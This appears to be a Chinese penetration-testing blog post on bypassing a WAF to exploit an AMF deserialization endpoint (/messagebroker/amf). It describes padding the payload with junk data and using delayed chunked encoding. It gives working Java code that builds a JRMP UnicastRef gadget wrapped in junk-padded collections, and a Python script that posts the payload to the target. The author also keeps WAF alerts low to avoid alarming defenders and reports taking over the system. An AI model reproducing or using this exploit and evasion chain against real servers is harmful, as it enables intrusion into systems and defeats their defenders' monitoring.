背景
某项目遇到一个amf反序列化
直接exp打发现没成功,抓包发现数据包被waf拦截了
研究waf规则
删掉一截字符,观察是不是waf对/messagebroker/amf
路由有监控
发现数据包可以通行,那说明waf对这个路由是没有防护的,被拦大概率是因为序列化数据中有关键字触发了规则
对字符的规则大概率是触发jrmp的这个类sun.rmi.server.Unicastef
,随便删掉这个Class名的一部分
发现数据包也能正常发过去,那waf应该是对gadget中的Class名做了规则。
尝试一些通用的思路例如chunked或者延时chunked,都搞不定。
没办法,尝试用大数据包试试,部分waf由于性能问题,遇到一些大数据包时,对超长的部分不会检查。
为了避免在/messagebroker/amf
这个路由测试的时候被拦太多waf告警引起防守方警觉,我们先在任意的其他目录测一下效果。
直接发个3M的大数据包探探路,看看我们这个思路是否可行。
成功绕过waf,说明我们这个大数据包的思路是可行的。现在再小测一下waf大概的边界在哪,因为直接构造几M的大数据包生成payload都得等一会儿,咱们还是尽可能地构造一个”小的”大数据包。
小逝一波5W大小的垃圾字符
搞不定,翻一倍,提高到10W试试
成功绕过。
poc构造
但是显然咱们这样强行扔一堆垃圾数据到序列化数据中会导致amf的反序列化失败。想起c0ny1大师傅脏数据绕waf的文章,我们这里的情景非常相似,可以抄袭大师傅的代码试试。
我之前没有研究过amf反序列化,所以这里本地搭个环境测测,amf的反序列化是否也可以像java原生反序列化一样用数据结构包裹我们的gadget。
试试用arrayList
存放我们的gadget试试
成功收到请求
说明amf的反序列化也可以用数据结构插入脏数据来绕waf。
参考c0ny1大师傅的代码弄一个适配amf的版本,执行后在/tmp/amf.ser
生成插入了100000大小脏数据的序列化数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| public class Amfdemo {
public static void main(String[] args) throws Exception { Object object = generateUnicastRef("127.0.0.1", 1234);
Amfdemo dirtyDataFactory = new Amfdemo(object,100000); byte[] amf = serialize(dirtyDataFactory.doWrap());
File file = new File("/tmp/amf.ser"); FileOutputStream fos = new FileOutputStream(file); fos.write(amf, 0, amf.length); fos.flush(); fos.close();
}
public static Object generateUnicastRef(String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false); return new sun.rmi.server.UnicastRef(liveRef); }
public static byte[] serialize(Object data) throws IOException { MessageBody body = new MessageBody(); body.setData(data); ActionMessage message = new ActionMessage(); message.addBody(body); ByteArrayOutputStream out = new ByteArrayOutputStream(); AmfMessageSerializer serializer = new AmfMessageSerializer(); serializer.initialize(SerializationContext.getSerializationContext(), out, null); serializer.writeMessage(message); return out.toByteArray(); }
public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException { ByteArrayInputStream in = new ByteArrayInputStream(amf); AmfMessageDeserializer deserializer = new AmfMessageDeserializer(); deserializer.initialize(SerializationContext.getSerializationContext(), in, null); ActionMessage actionMessage = new ActionMessage(); deserializer.readMessage(actionMessage, new ActionContext()); return actionMessage; }
private int dirtyDataSize; private String dirtyData; private Object gadget;
public Amfdemo(Object gadget, int dirtyDataSize) { this.gadget = gadget; this.dirtyDataSize = dirtyDataSize; }
public Object doWrap() { Object wrapper = null; dirtyData = getLongString(dirtyDataSize); int type = (int) (Math.random() * 10) % 10 + 1; switch (type) { case 0: List<Object> arrayList = new ArrayList<Object>(); arrayList.add(dirtyData); arrayList.add(gadget); wrapper = arrayList; break; case 1: List<Object> linkedList = new LinkedList<Object>(); linkedList.add(dirtyData); linkedList.add(gadget); wrapper = linkedList; break; case 2: HashMap<String, Object> map = new HashMap<String, Object>(); map.put("a", dirtyData); map.put("b", gadget); wrapper = map; break; case 3: LinkedHashMap<String, Object> linkedHashMap = new LinkedHashMap<String, Object>(); linkedHashMap.put("a", dirtyData); linkedHashMap.put("b", gadget); wrapper = linkedHashMap; break; default: case 4: TreeMap<String, Object> treeMap = new TreeMap<String, Object>(); treeMap.put("a", dirtyData); treeMap.put("b", gadget); wrapper = treeMap; break; } return wrapper; }
public String getLongString(int length) { String str = ""; for (int i = 0; i < length; i++) { str += "x"; } return str; }
}
|
搞个python脚本把序列化数据发出去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import requests headers = { "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0" } target="https://xxxx/messagebroker/amf" def main(): f = open('C:/Users/xxxx/Desktop/xx1.ser', 'r') payload = f.read() print("==========================================================") print(len(payload)) print("==========================================================")
try: resp = requests.post(target, timeout=5, headers=headers,data=payload, proxies={'http':'127.0.0.1:4567','https':'127.0.0.1:4567'}, verify=False) print("Status code: %i" % resp.status_code) except Exception as e: print(e) if __name__ == '__main__': main()
|
构造10W大小的垃圾字符发包
顺利拿下
彩蛋
后面又遇到一个amf,发3M的大包也绕不过,但是通过未知的HTTP请求配合延时chunked成功触发
收到jrmp请求